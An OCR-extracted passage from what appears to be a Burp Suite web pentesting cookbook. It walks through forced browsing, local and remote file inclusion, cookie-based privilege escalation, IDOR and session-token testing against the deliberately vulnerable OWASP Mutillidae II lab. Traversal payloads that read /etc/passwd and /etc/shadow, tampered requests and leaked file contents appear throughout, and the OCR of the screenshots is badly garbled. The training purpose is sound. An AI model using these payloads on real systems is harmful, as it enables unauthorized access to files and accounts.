ol [

A Enter a new item

|l Open ][ Cancel J

| Add from list ...

Scroll to the bottom and uncheck (by default, it is checked) the option
URL-encode these characters:

Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

[] URL-encode these characters: | A=<=7+&%""

You are now ready to begin the attack. Click the Start attack button at the
top right-hand corner of the Intruder | Positions page:

The attack results table will appear. Allow the attacks to complete. There
are 137 payloads in the admin-panels.txt wordlist. Sort on the Length
column from ascending to descending order, to see which of the payloads
hit a web page.

Notice the payloads that have larger response lengths. This looks
promising! Perhaps we have stumbled upon some administration pages that



may contain fingerprinting information or unauthorized access:

‘} Intruder attack 4

Attack Save Columns

_[ Results T Target I Positions T Payloads T Options ]

Fiter: Showing all tems

Request | Payload | Status | Error | Timeout | Length ¥ | Comment
60 administrator. php 200 O O 95104
1 admin.php 200 ] ] 95047
0 200 U = 50739
21 login.php 200 O O 50739
120 home.php 200 L] L] 45501
50 panel-administracicn/login. htmi 200 ] ] 42002
104 panel-administracion/index.html 200 = U 42002
105 paneladministracion/admin.html 200 Ll Ll 42002
116 panel-administracien/login.php 200 ] = 41996
124 panel-administracion/index.php 200 = ] 41996
125 paneladministracion/admin.php 200 = = 41556
74 pages/admin/admin-login. html 200 ] = 41984
62 pages/admin/admin-login.php 200 ] ] 415978
no Ademinintratarin sonint el 200 fsl =] A40T

12. Select the first page in the list with the largest length, administrator.php.
From the attack results table, look at the Response | Render tab, and notice
the page displays the PHP version and the system information:



Attack Save Columns

j MT Target T Positions I Payloads T Options ]

[ Fiter: Showing all tems

Request | Payloﬂ | Status \ E_I‘I'DI' | Timeout Leng!n ¥ | Comment
tﬂm ; 200 0 O oows |

1 admin.php 200 2 8] 99050
0 200 d @] 50739
21 login.php 200 B O sor3e
120 home.php 200 2] )] 45901

Reguest | Response
Raw | Headers | Hex | HTML IRender ]

®% OWASP Mutillidae II: Web Pwn in Mass Produc

Version: 2.6.24  Security Level: 0 (Hosed)  Hints: Enabled (1 - 5cript Klddle) Not Logged In

OWASP 2013 Secret PHP Server Configuration Page

OWASP 2010

@ Help Me!
OWASP 2007 )

Web Services

s PHP Version ®hp)




How it works...

Without even being logged in, we were able to force browse to an area of the
web application that was unmapped. The term unmapped means the application
itself had no direct link to this secret configuration page. However, using Burp
Intruder and a wordlist containing commonly known administration file names,
we were able to discover the page using the directory traversal attack.



Testing for Local File Include (LFT)

Web servers control access to privileged files and resources through
configuration settings. Privileged files include files that should only be
accessible by system administrators. For example, the /etc/passwd file on
UNIX-like platforms or the boot.ini file on Windows systems.

A LFTI attack is an attempt to access privileged files using directory traversal
attacks. LFT attacks include different styles including the dot-dot-slash attack
(../), directory brute-forcing, directory climbing, or backtracking.



Getting ready

Using OWASP Mutillidae II as our target application, let's determine whether it
contains any LFI vulnerabilities.



How to do it...

Ensure Burp and OWASP BWA VM are running and that Burp is configured in
the Firefox browser used to view the OWASP BWA applications.

1.

2.

From the OWASP BWA Landing page, click the link to the OWASP
Mutillidae II application.

Open the Firefox browser to the login screen of OWASP Mutillidae II.
From the top menu, click Login.

Find the request you just performed within the Proxy | HTTP history table.
Look for the call to the 1login.php page. Highlight the message, move your
cursor into the Raw tab of the Request tab, right-click, and Send to
Intruder.

Switch over to the Intruder | Positions tab, and clear all Burp-defined
payload markers by clicking the Clear § button on the right-hand side.
Highlight the value currently stored in the page parameter (1ogin.php), and
place a payload marker around it using the Add 8§ button on the right-hand
side.

Continue to the Intruder | Payloads tab. Select the following wordlist
from the wfuzz repository: Traversal. txt. The location of the wordlist
from the GitHub repository follows this folder structure:
wfuzz/wordlist/injections/Traversal. txt.

Click the Load button within the Payload Options [Simple list] section of
the Intruder | Payloads tab. A popup will display, prompting for the
location of your wordlist.

Browse to the location where you downloaded the wfuzz repository from
GitHub. Continue to search through wfuzz folder structure until you reach
the admin-panels. txt file. Select the file and click Open:



F

Target | Positions | Payloads Uptiuns]

10.

11.

QJ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are availa
can be customized in different ways.

Payload set: i 1 .VJ Payload count. 68

Payload type: ] Simple list _"J Request count: { 'f

' Look In: [ﬁlnjec‘tions ‘J [@ J t ‘& J [ fﬁ J| (=] ‘[ﬂj .

Payload Options [Simple list]

[ A_attack et

This payload type lets you configure a simple list of strings that ar .
E bad_chars bt

Paste A 000 1 Jeteosts %00 [ savod
_ _ | AL Jetchosts t Traversal.txt
.J../boot.ini E XML bxt
LA AT T%2A [ xs5.6xt
Remove A L Jetclpasswd %00

AL Jetcipasswd
Clear Aoddd g ddd g ] Jetcishadow %00 File Name: | Traversal bt I
AL L Jetclshadow

LA d 0 DL Jetc/passwd™ Files of Type: | All Files 'J

E ol

Enter a new item

= Cancel

| Add from list ... |

Scroll to the bottom and uncheck (by default, it is checked) the option
URL-encode these characters.

You are now ready to begin the attack. Click the Start attack button at the
top-right-hand corner of the Intruder | Positions page.

The attack results table will appear. Allow the attacks to complete. Sort on
the Length column from ascending to descending order, to see which of the
payloads hit a web page. Notice the payloads with larger lengths; perhaps
we gained unauthorized access to the system configuration files!



‘} Intruder attack 6

Aftack Save Columns

_[ Resulis T Target T Positionz T Payloads T Options ]

Fitter: Showing all tems

Request 4 | Payload | Status |Error | Timeout | Length | Comment
0 200 O = 50738
1 A feteihoste %00 200 J U 42092
2 A Jeteihosts 200 O - 41408
3 .4_Jboot.ini 200 (] O 41300
4 LA L %2 200 [ = 41972
5 A fetelpass wd9R00 200 O - 42093
5 A feteipasswd 200 O = 47074
7 A2 JetelshadowR00 200 [ L 42098
2 A fetelshadow 200 J = 38522

12. Select the Request #2 in the list. From the attack results table, look at
the Response | Render tab and notice the page displays the host file from

the system!



I'fl'.: O

Attack Save Columns

J Results T Target T Positions T Payloads I Options ]

Filter: Showing all tems |
Request 4 | Payload | Status Error | Timeout | Length | Comment
0 200 8] (= 50739

1 AL Jete/hosts %00 200 =] g 42092

2 GLd b L L g T ) ) I Jetc/hosts 200 ] ] 41403_'

3 1..Iboot.ini 200 a = 41900

4 L dd b d ] I%2A 200 @] a 41972

5 Addod A d A L Jetclpasswd%00 200 m] @] 42098

[ dd g d L Jetelpasswd 200 (0] =] 42274

7 AL AL Jetcishadow %00 200 ] =] 42098

3 A g A A0 1 1. Jetcishadow 200 a =] 38922

O ) Ann 200 1 1 AINTA

Request | Response

m Headers Tm HTML TRaﬂder]
®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2,6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - Script Klddle) NotLogged In

OWASP 2013 127.0.0.1 locahost 127.0.1.1 owaspbwa owaspbwa.localdomain # following lines are for the haclxor
application 127.0.0.1 wraithmail 127.0.0.1 cloaknet 127.0.0.1 gghb 127.0.0.1 hub71 127.0.0.1 utrack
OWASP 2010 127.0.0,1 wraithbox # the following are used for OWASP 1 Liner 127.0.0.1 local, 1iner.org 127.0.0.1

other, 1-iner.org 127.0.0.1 local. Hiner.org 127.0.0.1 3rd-party.info 127.0.0., 1 attackr.se # The following lines
OWASP 2007 are desirable for IPvE capable hosts 111 localhost ipé-locahost ipé-loopbaclk: fe00::0 ipe-localnet ff00::0
ip6-mcastprefix ff02::1 ipé-alnodes ff02::2 ipe-alrouters ff02::3 ipe-alhosts

Web Services

13. Continue scrolling down the list of requests in the attack results table. Look
at request #6, and then look at the Response | Render tab and notice the
page displays the /etc/passwd file from the system!



Attack Save Columns

J Resulis T Target I Positions. I Payloads I Optiens ]

| Fiter: Showing all tems ‘ L
Request A | Payload | Status | Error | Timeout | Length | Comment
0 200 @] O  so739 \
1 dod A0 A1 0.1 Jetc/hosts%00 200 0 0O 42082 |
2 LA Jetethosts 200 O 2] 41408
3 .J../ooot.ini 200 a O 41800
4 A LA 0.1 1%2A 200 @] O 41972
5 Lt d gt g 1] Jetc/passwd%00 200 =] [ 42088
Le L L L d ] Jetcipasswd 200 - (1 azre ]
7 1A 400100 1] Jetclshadow®%00 200 0 O 42098
8 LA LA Jetclshadow 200 0 (] 38922
a LA 4 i 4 ppttd intainasouwdtn 200, 0 [m AZNTA
Response
Raw | Headers | Hex | HTML I Render ]
T - .
[ ]
®% OWASP Mutillidae II: Web Pwn in Mass Production
Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - Script Kiddie) Not Logged In
root:x:0:0:root: froot:/bin/bash daemon:x: 1: 1:daemon: fusr/sbin: bin/sh bin:x : 2: 2:bin: bin: bin/sh sys:x:3:3:sys: /dev: bi

OWASP 2013

OWASP 2010

OWASP 2007

Web Services

HTML 5

sync:x:4:65534;sync; /bin: bin/sync games:x;5:60:games: fusr/games:/binfsh man:x:6:12:man: var/cache/man:/bin/sh
Ipix:7:7:lp: varfspoolfpd: fbin/sh mail:x:8:8:mail: fvar/mail: /bin/sh news:x:9:9:news: /var /spool/news: /bin/sh

uucp:x: 10: 10:uucp:/var fspoolfuucp: /bin/sh proxyx: 13:13:proxy  /bin:/binfsh www-data:x: 33:33:www-data: jvar fwww
backup:x:34:34:backup: var fbackups:/bin/sh list:x: 38:38:Mailing List Manager: /var fist: /bin/sh

ircix:39:39red: fvar frunfircd: bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin): /varlib/gnats:/bin/sh

nobody :x:65534:65534:nobody : fnonexistent: /bin/sh ibuuid:x: 100: 101 /var ibAibuuid: /bin/sh
syslog:x:101:102::/home/syslog:bin/false Klog:x:102:103::/homeklog: bin/false mysql:x: 103:105:MySGQL
Server,,,./var fib/mysql; /bin/false landscape x; 104: 122 fvar fibflandscape ; /bin/false

Loalnalod, Lalnisn il

Lnniimi - L Ll L " L




How it works...

Due to poorly protected file permissions and lack of application authorization
checks, attackers are able to read privileged local files on a system containing
sensitive information.



Testing for Remote File Inclusion
(RFI)

Remote File Inclusion (RFI) is an attack attempting to access external URLs
and remotely located files. The attack is possible due to parameter manipulation
and lack of server-side checks. These oversights allow parameter changes to
redirect the user to locations that are not whitelisted or sanitized with proper data
validation.



Getting ready

Using OWASP Mutillidae II as our target application, let's determine whether it
contains any RFI vulnerabilities.



How to do it...

Ensure Burp and OWASP BWA VM are running and that Burp is configured in
the Firefox browser used to view the OWASP BWA applications.

1. From the OWASP BWA Landing page, click the link to the OWASP
Mutillidae II application.

2. Open the Firefox browser to the login screen of OWASP Mutillidae II.
From the top menu, click Login.

3. Find the request you just performed within the Proxy | HIT'TP history table.
Look for the call to the 1ogin.php page:

[Tﬂrget I Proxy | Spider T Scanner I Intruder i Repeater I Sequencer I Decoder I Comparer I Extender I Project options T User options I Alerts l

| [ Intercepl" HTTP history || WebSockets history I Options ]

Fiter: Hiding CSS, image and general binary content

i# A | Host | Method URL | Params | Edited Status | Length | MIME type Extension
| 378k hitp://192.168.56.101 I GET Imutilidae/index.php?page=login.php v 200 ISDTBS HTML php
-

Reguest | Response }

Raw | Params I Headers TE]

GET /mutillidae/index.php?page=login.php HTTP/L.1

Host: 1S9C7.1€8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:€1.0) Gecko/20100101 Firefox/E1.0

Accept: text/html,application/xhtml+xml,application/xnl;q=0.9,*/*;q=0.8

Accept-Langquage: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

RPeferer: http://192 168 5&.101/mutillidae/index.php?page=home . phpipopUplotificationCode=HPHO

Cookie: showhints=l; PHPSESSID=c7&étk7i9cdqSgdlumciecoélkl; acopendivids=swingset,jotto,phpbbl,reduine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Reguests: 1

4. Make a note of the page parameter that determines the page to load:

_[ Request T Response ]

_[ Haw T Params I Headers I Hex ]

GET /mutillidae/index.php?page=login.php HTTP/1.1

Let's see if we can exploit this parameter by providing a URL that is
outside the application. For demonstration purposes, we will use a URL
that we control in the OWASP BWA VM. However, in the wild, this URL
would be attacker-controlled instead.



5. Switch to the Proxy | Intercept tab, and press the Intercept is on button.
6. Return to the Firefox browser, and reload the login page. The request is
paused and contained within the Proxy | Intercept tab:

Target | Proxy i Spider I Scanner T Intruder T Repeater I Sequencer I Decoder

Intercept ] HTTP history [WehSuckets history I Options 1

Forward Drog ' Intercept is on I Action

Raw Params Headers Hex

7. Now let's manipulate the value of the page parameter from login.php to a
URL that is external to the application. Let's use the login page to the
GetBoo application. Your URL will be specific to your machine's IP
address, so adjust accordingly. The new URL will be
http://<your_IP_address>/getboo/

8. Replace the login.php value with http://<your_IP_address>/getboo/
and click the Forward button:

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAIerts ]

J Intercept T HTTP history T WebSockets history I Options ]

(#) Requestto hitp:/182.168.56.101:80

{ Forward J { Drop J | Intercept is on | Action
J Raw I Params T Headers TE}

I.;ET /mutillidae/index.php?page=http://192_168.56. lDlIgetlJou/I HTTP/1.1
ost: 15T, 1leg.5e8. 101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wine4; x&4; rv:£l.0) Gecko/2Z0100101 Firefox/&l.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.5,*/*;q=0.8

Accept-Lancuage: en-US, en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://1l92.168.56.101/nutillidae/index. php?page=hone. php&popUplotificationCode=HPHO
Coolkie: showhints=1l; PHPSESSID=c7cetk7if%0dgSgdluncliccockl;
Connection: close

Upgrade-Insecure—-Recquests: 1

Cache-Control: max—-age=0

acopendivids=swingset ,jotto,phpbbhl, rednine; acgroupswithpersist=nada



9. Now press the Intercept is on again to toggle the intercept button to OFF
(Intercept is off).

10. Return to the Firefox browser, and notice the page loaded is the GetBoo
index page within the context of the Mutillidae application!

@4 OWASP Mutillidae Il: Web Pwn in Mass Production

Version:; 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) Not Logged In
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How it works...

The page parameter does not include proper data validation to ensure the values
provided to it are whitelisted or contained to a prescribed list of acceptable
values. By exploiting this weakness, we are able to dictate values to this
parameter, which should not be allowed.



Testing for privilege escalation

Developer code in an application must include authorization checks on assigned
roles to ensure an authorized user is not able to elevate their role to a higher
privilege. Such privilege escalation attacks occur by modifying the value of the
assigned role and replacing the value with another. In the event that the attack is
successful, the user gains unauthorized access to resources or functionality
normally restricted to administrators or more-powerful accounts.



Getting ready

Using OWASP Mutillidae II as our target application, let's log in as a regular
user, John, and determine whether we can escalate our role to admin.



How to do it...

Ensure Burp and OWASP BWA VM are running and that Burp is configured in
the Firefox browser used to view the OWASP BWA applications.

1. From the OWASP BWA Landing page, click the link to the OWASP
Mutillidae II application.

2. Open the Firefox browser to the login screen of OWASP Mutillidae II.
From the top menu, click Login.

3. At the login screen, log in with these credentials—username: john
and password: monkey.

4. Switch to Burp's Proxy | HTTP history tab. Find the POST and subsequent
GET requests you just made by logging in as john:

{Targetl Proxy I Spider I Scanner T Intruder T Repeater I Sequencer IDecher T Comparer T Extender T Project options. ] User options IAlens

[ ntercept [ HTP history. | websockets history | options |

Fitter: Hiding CSS, image and general binary content

# 4| Host Method | URL | Params | Edited Status | Length | MIMEtype | Extension | Title
426 hitp://192.168.56.101 POST imutilidae/index php?page=login.php v 302 50912 HTML php
427 hitp://192.168.56.101 GET /mutilidaefindex.php?popUpHotificationCode=AU1 v 2_00 @U HT!LL LhE

5. Look at the GET request from the listing; notice the cookie name/value pairs
shown on the Cookie: line.

The name/value pairs of most interest include username=john and uid=3.
What if we attempt to manipulate these values to a different role?

[ Target | Proxy | spider | scanner | ntruder | Repeater | sequencer | Decoder | comparer | Extender | project options | User options | lerts |

| [ ntercept | TR history | webSockets history | Options |

\ Filter: Hiding CSS, image and general binary content

# 4| Host | Method | URL | Params | Edited Status Length | MIME type | Extension
426 http://192.168.56.101 POST Jmutilidae/index.php?page=login.php v 302 50912 HTML php
| 42‘:‘K http://192.168.56.101 GET Imutilidae/index. php?popUpNotificationCode=AU1 v 200 46550 HTML php

- -

Reguest | Response ]

Raw | Params T Headers T Hex ]

GET /mutillidae/index.php?popUpNotificationCode=AUT1 HTTP/1.1

Host: 1SC.1&8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x&4; rv:£1.0) Gecko/Z0100101 Firefox/E1.0

Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Refeyer. htrpo/slcoc 128 S8 101 /autillidae/index phpopage=login pho

ICun]:ie: shovhints=1; username=john; uid=3; PHPSESSID=cT7eétkT7i%0cdgSg4lumcccoEkl; acopendivids=swingset,jotto,phpbbl, redmine; ar.-grnupsvir.hpersis:=nar.ll
Connection: close

Upgrade-Insecure-Requests: 1




6. Let's attempt to manipulate the parameters username and the uid stored in
the cookie to a different role. We will use Burp's Proxy | Intercept to help
us perform this attack.

7. Switch to the Proxy | Intercept tab, and press the Intercept is on button.
Return to the Firefox browser and reload the login page.

8. The request is paused within the Proxy | Intercept tab. While it is paused,
change the value assigned to the username from john to admin. Also,
change the value assigned to the uid from 3 to 1:

Target | Froxy | Spider ] Scanner ] Intruder | Repeater | Sequencer T

| luntescental HTTP history ] WebSockets history ] Options ]

[ ;a'f'| Request to hitp://192.168.56.101:80

[ Forward J [ Drop | Intercept is on \_ Action

_[ Raw T Param= ] Headers I Hex ]

GET /mutillidae/index_ php?popUplotificationCode=AT1 HTTPS1
Host: 15Z2.168.56.101

User-Agent: Mozilla/s5.0 (Windows NT 10.0; Wined; xc4; rwv:e.
Accept: text/htnl, application/xhtml+xnl, application/xml ;=
Aocept-Lancguage: en-Us_ en;g=0_5

Accept-Encoding: gzip, deflate

Beferer: http:/ /152 1e8_Le_ 1l0l/mutillidas/index_ php?pags=1:
E-:u:-]:ie: showhints=1; username=admin; uid=1; PHPSESSID=cTEEd
Comnection: close

Tpgrade-Insecure-Regquests: 1

Cache-Control: max-—age=0

9. Click the Forward button, and press the Intercept is on again to toggle the
intercept button to OFF (Intercept is off).

10. Return to the Firefox browser, and notice we are now logged in as an
admin! We were able to escalate our privileges from a regular user to an
admin, since the developer did not perform any authorization checks on the
assigned role:
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How it works...

There are several application issues associated with the privilege escalation
attack shown in this recipe. Any actions related to account provisioning (that is,
role assignments) should only be allowed by administrators. Without proper
checks in place, users can attempt to escalate their provisioned roles. Another
issue exemplified in this recipe is the sequential user ID number (for example,
uid=3). Since this number is easily guessable and because most applications start
with administrator accounts, changing the digit from 3 to 1 seemed a probable
guess for association with the admin account.



Testing for Insecure Direct Object
Reference (IDOR)

Allowing unauthorized direct access to files or resources on a system based on
user-supplied input is known as Insecure Direct Object Reference (IDOR).
This vulnerability allows the bypassing of authorization checks placed on such
files or resources. IDOR is a result of unchecked user supplied input to retrieve
an object without performing authorization checks in the application code.



Getting ready

Using OWASP Mutillidae II as our target application, let's manipulate the value
of the phpfile parameter to determine whether we can make a call to a direct
object reference on the system, such as /etc/passwd file.



How to do it...

1. From the Mutillidae menu, select OWASP 2013 | A4 — Insecure Direct
Object References | Source Viewer:

o« OWASP Mutillidae Il: Web Pwn in '

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e)

Home Logout Toggle Hints Show Popup Hints Toggle Security Enforce SSL Res

OWASP 2013 A1 - Injection (SQL)
Al - Injection (Other)

)
yarately Vulnerable Web

OWASP 2010

A2 - Broken Authentication and : -
OWASP 2007 Session Management Like Mutillidae? Check out how to

Web Services A3 - Cross Site Scripting (XSS) !

A4 - Insecure Direct Object ¥ Text File Viewer
References

HTML5
Source Viewer

2. From the Source Viewer page, using the default file selected in the drop-
down box (upload-file.php), click the View File button to see the
contents of the file displayed below the button:



o% OWASP Mutilidae I Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1- 5cript K1dd1e)  Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL ResetDB View Log View Captured Data

| Source Code Viewer
Back q Help Me!
Hints
To see the source of the file, choose and click "View File",
Note that not all iles are listed.
Source File Name Upload-fle.php v

File: uploac-file.php

<?php include once (_RooT_. 'classes/FileUploadExceptionHandler.php') ; %>
<’php include once (_ROOT .’ /includes/back-button.ine') ; 7
<?php include once (__RDOT__.'/includes/hints-level-1/level-1-hints-menu-wrapper.inc'); [
{?php
try(
switch ($_SESSION[“security-level"]}{
case "0": // This code is insecure. No input validation is performed

$1EnableJavaScriptValidation = FALSE;



3. Switch to Burp's Proxy | HTTP history tab. Find the POST request you just
made while viewing the upload-file.php file. Note the phpfile parameter
with the value of the file to display. What would happen if we change the
value of this parameter to something else?

[ Terget | Proxy | spider | scanner | intruder | Repeeter | sequencer | Decoder | comparer | Extender | project options | user options | aterts |

intercept | HTTP history | WebSockets history | Options |

| Fitter: Hiding CSS, image and general binary content

# 4| Host Method URL | Params | Edited Status Length MIME type | Extension Title

| 472K http://192.168.56.101 POST Jmutilidae/index php?page=source-viewer.php v 200 98887 HTML php
-

-
Request | Response

Raw | Params | Headers | Hex

POST /mutillidae/index.php?page=source-viewer.php HITP/1.1

Host: 192.1€8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x€4; rv:E€l.0) Gecko/Z0100101 Firefox/€1.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.101/mutillidae/index.php?page=source-viewer.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 93

Cockie: showhints=1; PHPSESSID=c7&6tk7iScdqSgdlumcZccofkl; acopendivids=swingset,jotto,phpbbl, redmine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Requests: 1

page=source-viewer phpaphpfile=upload-file phpssource-file-viewer-php-submit-button=View+File

4. Let's perform an IDOR attack by manipulating the value provided to the
phpfile parameter to reference a file on the system instead. For example,
let's try changing the upload-file.php valueto ../../../../etc/passwd
via Burp's Proxy | Intercept functionality.

5. To perform this attack, follow these steps.

1. Switch to the Proxy |Intercept tab, and press the Intercept is on
button.

2. Return to the Firefox browser and reload the login page. The request is
paused and contained within the Proxy | Intercept tab.

3. As the request is paused, change the value assigned to the phpfile
parameter to the value ../../../../etc/passwd instead:



[Target TFroxy T Spider T Scanner T Intruder T Repeater I Sequencer I Decoder I Comparer T Extender T Project options I User

_[ niercept | HTTP history | WebSockets history | Options |

@ Request to hitp://192.168.56.101:80

L Forward J l Drop J ‘ Intercept is on | Action

_[ Raw T Params T Headers T Hex ]

POST /mutillidaes/index.php?page=source-viewer._ php HTITP/1.1

Host: 192.168.56.101

User-Agent: Momilla/5.0 (Windows NT 10.0; Wing&4; xE4; rv:El.0) Gecko,/Z0100101 Firefox/&l.0
Accept: text/html, application/xhtml+txml]  application/xml;gq=0_9, */*;gq=0.8

Accept-Lanquage: en-US, en;g=0_5

Accept-Encoding: gzip, deflate

Beferer: http://1l592.168.56.101/mutillidas/index.php?page=source-viewer.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 53

Cookie: showhints=1; PHPSESSID=c7&8tk7i%0dgigd4lumcicecoekl; acopendivids=swingset jotto,phpbbhl, rednine;
Connection: close

Upgrade-Insecure-Recuests: 1

page=source-viewer,phpﬁphpfile=_.f__f,_f__/etcipasswdfsnurce—file-viewer—php—submit—hutton=View+File

6. Click the Forward button. Now press the Intercept is on button again to
toggle the intercept button to OFF (Intercept is off).

7. Return to the Firefox browser. Notice we can now see the contents of the
/etc/passwd file!



( Source Code Viewer

Back e Help Me!

Hints

To see the source of the file, choose and click "View File".
Note that not all files are listed.

Source File Name upload-file.php v

File: ../I..I..I..letc/passwd

root:x:0:0:root:/root: /bin/bash
daemon:x:1:1:daemon: /fusr/sbin: /bin/sh
bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev: /bin/sh
sync:x:4:65534:sync: /bin: /bin/sync
games:x:5:60:games: /usr/games: /bin/sh
man:x:6:12:man: /var/cache/man: /bin/sh

1p:x:7:7:1p: /var/spool/lpd: /bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh

news:x:9:9:news: /var/spool/news: /bin/sh
uucp:x:10:10:uucp: /var/spool/uucp: /bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data: /var/www: /bin/sh
backup:x:34:34:backup: /var/backups: /bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd: /bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh



How it works...

Due to lack of proper authorization checks on the phpfile parameter within the
application code, we are able to view a privileged file on the system. Developers
and system administrators provide access controls and checks prior to the
revealing of sensitive files and resources. When these access controls are
missing, IDOR vulnerabilities may be present.



Assessing Session Management
Mechanisms

In this chapter, we will cover the following recipes:

Testing session token strength using Sequencer
Testing for cookie attributes

Testing for session fixation

Testing for exposed session variables

Testing for Cross-Site Request Forgery



Introduction

This chapter covers techniques used to bypass and assess session management
schemes. Session management schemes are used by applications to keep track of
user activity, usually by means of session tokens. Web assessments of session
management also involve determining the strength of session tokens used and
whether those tokens are properly protected. We will learn how to use Burp to
perform such tests.



Software tool requirements

To complete the recipes in this chapter, you will need the following:

OWASP Broken Web Applications (VM)

OWASP Mutillidae link

Burp Proxy Community or Professional (https:/portswigger.net/burp/)
A Firefox browser configured to allow Burp to proxy traffic
(https://www.mozilla.org/en-US/firefox/new/)



https://portswigger.net/burp/
https://www.mozilla.org/en-US/firefox/new/

Testing session token strength using
Sequencer

To track user activity from page to page within an application, developers create
and assign unique session token values to each user. Most session token
mechanisms include session IDs, hidden form fields, or cookies. Cookies are
placed within the user's browser on the client-side.

These session tokens should be examined by a penetration tester to ensure their
uniqueness, randomness, and cryptographic strength, to prevent information
leakage.

If a session token value is easily guessable or remains unchanged after login, an
attacker could apply (or fixate) a pre-known token value to a user. This is known
as a session fixation attack. Generally speaking, the purpose of the attack is to
harvest sensitive data in the user's account, since the session token is known to
the attacker.



Getting ready

We'll check the session tokens used in OWASP Mutillidae II to ensure they are
created in a secure and an unpredictable way. An attacker who is able to predict
and forge a weak session token can perform session fixation attacks.



How to do it...

Ensure Burp and the OWASP BWA VM are running and that Burp is configured
in the Firefox browser used to view OWASP BWA applications.

1. From the OWASP BWA Landing page, click the link to the OWASP
Mutillidae II application.

2. Open the Firefox browser to access the home page of OWASP Mutillidae II
(URL: http://<your_VM_assigned_IP_address>/mutillidae/). Make
sure you are starting a fresh session of the Mutillidae application and not
logged into it already:

®@% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) | Not Logged In |

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

[
_ [ Mutillidae: Deliberately Vulnerable Web Pen-Testing Application |

3. Switch to the Proxy | HTTP History tab and select the request showing your
initial browse to the Mutillidae home page.

4. Look for the GET request and the associated response containing the Set -
Cookie: assignments. Whenever you see this assignment, you can ensure
you are getting a freshly created cookie for your session. Specifically, we
are interested in the PHPSESSID cookie value:



Target | Proxy | Spider T Seanner I Intruder I Repeater [ Sequencer I Decoder I Comparer I Extender [ Project options I User options I Alerts ‘

Intercept | HTTP history | WebSockets history Inptions}

antnf.a

Logging of out-of-scope Proxy fraffic is disabled | Re-enable

Fitter: Hiding CS3, image and general binary content

# 4| Host | Method | URL (Params | Edted |Staus | Lengh | MMEtype |
24 hitp/192.168.56.101 GET  mufiidae/ 00 46134 HIIL

s
s [

jﬁhw I Headers I Hex I HTHL l Render ]

HITR/L.L 200 QK

Date: Tue, 04 Sep 2018 18:41:58 GHT

Server: Apache/I.2.14 (Ubuntu) mod mono/2.4.3 PHE/S.3.I-lubuntud.30 with Suhosin-Patch proxy heml/3.0.1 mod pyth
Phusion Passenger/4.0.38 mod perl/2.0.4 Perl/vs.10.1
X-Povered-By: PHE/S. 3. 2-1ubuntud. 30

Fet-Cookie: PHPSESSID=q7c79%gflaqkialdloina7750; path=/
set-Cookie: showhints=l

Logged-In-User:

Vary: Accept-Encoding

Content-Length: 45632

Comnection: close

Content-Type: text/htnl

<!DOCTYPE HIML PUBLIC "-//W3C//DTD HIML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-htnl401-19991224/1
<htul>
<heads

<link rel="shortcut icon" href="./images/favicon.ico" type="inage/x-icon" /*

<link rel="stylesheet" type="text/css" href="./styles/global-styles.css" />

<link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsnoothuenu. css" />

<link rel="stylesheet" type="text/css" href="./styles/ddswoothmenu/ddsnoothmenu-v. css" />

5. Highlight the value of the of the PHPSESSID cookie, right-click, and
select Send to Sequencer:



Request | Responze l

_[Raw T Headers I Hex I HTML T Render \

HITP/L.1 200 OK

Date: Tue, 04 Sep 2018 1B8:41:58 GNT
server: Apache/Z.2.14 (Ubuntu) mod mono/Z.4.3 PHP/5.3.2-lubuntud.30 with
Phusion Passenger/4.0.38 mod perl/Z2.0.4 Perl/v5.10.1

#-Powered-By: PFHP/E.3.2-lubuntud. 30

net-Cookie: PHPSEGSSID=qgTeT9cqffagukialdloiuolbl: nath=/

net-Cookie: showhints=l Send to Spider
Logged-In-User:

Vary: Accept-Encoding
Content-Length: 458372 Do & passive scan
Comnmection: close

0o an active scan

send to Intruder Clrl+l
Content-Type: text/html

Send to Repeater Cirl+R

Send to Sequencer

Sequencer is a tool within Burp designed to determine the strength or the
quality of the randomness created within a session token.

6. After sending the value of the PHPSESSID parameter over to Sequencer, you
will see the value loaded in the Select Live Capture Request table.

7. Before pressing the Start live capture button, scroll down to the Token
Location Within Response section. In the Cookie dropdown list, select
PHPSESSID=<captured session token value>:



